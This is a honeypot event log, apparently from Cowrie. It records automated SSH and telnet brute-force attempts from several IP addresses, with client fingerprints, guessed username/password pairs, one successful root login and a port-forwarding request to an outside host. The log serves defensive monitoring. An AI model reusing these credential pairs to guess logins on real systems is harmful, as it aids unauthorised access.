ha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:58:02.712932Z","src_ip":"2.57.122.208","session":"50dbfcabf5bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sniper","password":"sniper","message":"login attempt [sniper/sniper] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:58:03.544698Z","src_ip":"2.57.122.208","session":"50dbfcabf5bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:58:04.835270Z","src_ip":"2.57.122.208","session":"50dbfcabf5bf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.75.137.141","src_port":35256,"dst_ip":"10.17.0.5","dst_port":22,"session":"a9d5ae9d75d3","protocol":"ssh","message":"New connection: 5.75.137.141:35256 (10.17.0.5:22) [session: a9d5ae9d75d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:58:12.407277Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:58:12.411656Z","src_ip":"5.75.137.141","session":"a9d5ae9d75d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:58:12.500063Z","src_ip":"5.75.137.141","session":"a9d5ae9d75d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"helpdesk","password":"P455w0rd","message":"login attempt [helpdesk/P455w0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:58:12.680672Z","src_ip":"5.75.137.141","session":"a9d5ae9d75d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:58:13.772834Z","src_ip":"5.75.137.141","session":"a9d5ae9d75d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.59.94.117","src_port":53172,"dst_ip":"159.203.135.109","dst_port":22,"session":"d33fd86fae0f","protocol":"ssh","message":"New connection: 103.59.94.117:53172 (159.203.135.109:22) [session: d33fd86fae0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:58:15.114130Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:58:15.117083Z","src_ip":"103.59.94.117","session":"d33fd86fae0f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:58:15.366788Z","src_ip":"103.59.94.117","session":"d33fd86fae0f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"install","password":"1234","message":"login attempt [install/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:58:16.399020Z","src_ip":"103.59.94.117","session":"d33fd86fae0f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:58:17.651248Z","src_ip":"103.59.94.117","session":"d33fd86fae0f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.94.92","src_port":46962,"dst_ip":"159.203.135.109","dst_port":22,"session":"cae953007a58","protocol":"ssh","message":"New connection: 159.223.94.92:46962 (159.203.135.109:22) [session: cae953007a58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:58:33.265575Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:58:33.270044Z","src_ip":"159.223.94.92","session":"cae953007a58","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:58:33.514444Z","src_ip":"159.223.94.92","session":"cae953007a58","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testmail","password":"testmail@123","message":"login attempt [testmail/testmail@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:58:34.528850Z","src_ip":"159.223.94.92","session":"cae953007a58","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:58:35.775784Z","src_ip":"159.223.94.92","session":"cae953007a58","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.75.137.141","src_port":39860,"dst_ip":"159.203.135.109","dst_port":22,"session":"21edbd6a7ddd","protocol":"ssh","message":"New connection: 5.75.137.141:39860 (159.203.135.109:22) [session: 21edbd6a7ddd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:59:02.022335Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:59:02.030008Z","src_ip":"5.75.137.141","session":"21edbd6a7ddd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:59:02.118551Z","src_ip":"5.75.137.141","session":"21edbd6a7ddd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"helpdesk","password":"P455w0rd","message":"login attempt [helpdesk/P455w0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:59:02.299231Z","src_ip":"5.75.137.141","session":"21edbd6a7ddd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:59:03.389861Z","src_ip":"5.75.137.141","session":"21edbd6a7ddd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.13.206.100","src_port":53042,"dst_ip":"10.17.0.5","dst_port":22,"session":"3ee876540f40","protocol":"ssh","message":"New connection: 103.13.206.100:53042 (10.17.0.5:22) [session: 3ee876540f40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:59:05.477696Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:59:05.481409Z","src_ip":"103.13.206.100","session":"3ee876540f40","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:59:05.715308Z","src_ip":"103.13.206.100","session":"3ee876540f40","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sonarr","password":"sonarrpass","message":"login attempt [sonarr/sonarrpass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:59:06.683861Z","src_ip":"103.13.206.100","session":"3ee876540f40","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:59:07.919697Z","src_ip":"103.13.206.100","session":"3ee876540f40","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":37816,"dst_ip":"10.17.0.5","dst_port":22,"session":"0720abc629d8","protocol":"ssh","message":"New connection: 2.57.122.208:37816 (10.17.0.5:22) [session: 0720abc629d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:00:13.514659Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:00:13.519387Z","src_ip":"2.57.122.208","session":"0720abc629d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:00:13.624834Z","src_ip":"2.57.122.208","session":"0720abc629d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"evm","password":"evm","message":"login attempt [evm/evm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:00:13.937953Z","src_ip":"2.57.122.208","session":"0720abc629d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:00:15.114557Z","src_ip":"2.57.122.208","session":"0720abc629d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"216.126.86.96","src_port":35902,"dst_ip":"10.17.0.5","dst_port":23,"session":"9acb9e2d0536","protocol":"telnet","message":"New connection: 216.126.86.96:35902 (10.17.0.5:23) [session: 9acb9e2d0536]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:00:19.763442Z"}
{"eventid":"cowrie.session.connect","src_ip":"77.90.185.17","src_port":34592,"dst_ip":"10.17.0.5","dst_port":22,"session":"7876d87e2f15","protocol":"ssh","message":"New connection: 77.90.185.17:34592 (10.17.0.5:22) [session: 7876d87e2f15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:00:24.028457Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u3","message":"Remote SSH version: SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:00:24.035814Z","src_ip":"77.90.185.17","session":"7876d87e2f15","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"390ffe68a68c2a2891210413e80689fa","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-cbc;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com,zlib","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","sk-ecdsa-sha2-nistp256@openssh.com","ssh-ed25519","sk-ssh-ed25519@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-cbc"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 390ffe68a68c2a2891210413e80689fa","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:00:24.140879Z","src_ip":"77.90.185.17","session":"7876d87e2f15","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"Admin123","message":"login attempt [root/Admin123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:00:24.667661Z","src_ip":"77.90.185.17","session":"7876d87e2f15","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"34.253.23.170","dst_port":443,"src_ip":"77.90.185.17","src_port":57194,"message":"direct-tcp connection request to 34.253.23.170:443 from 127.0.0.1:57194","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:00:26.264473Z","session":"7876d87e2f15","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"34.253.23.170","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 34.253.23.170:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:00:26.617204Z","src_ip":"77.90.185.17","session":"7876d87e2f15","protocol":"ssh"}
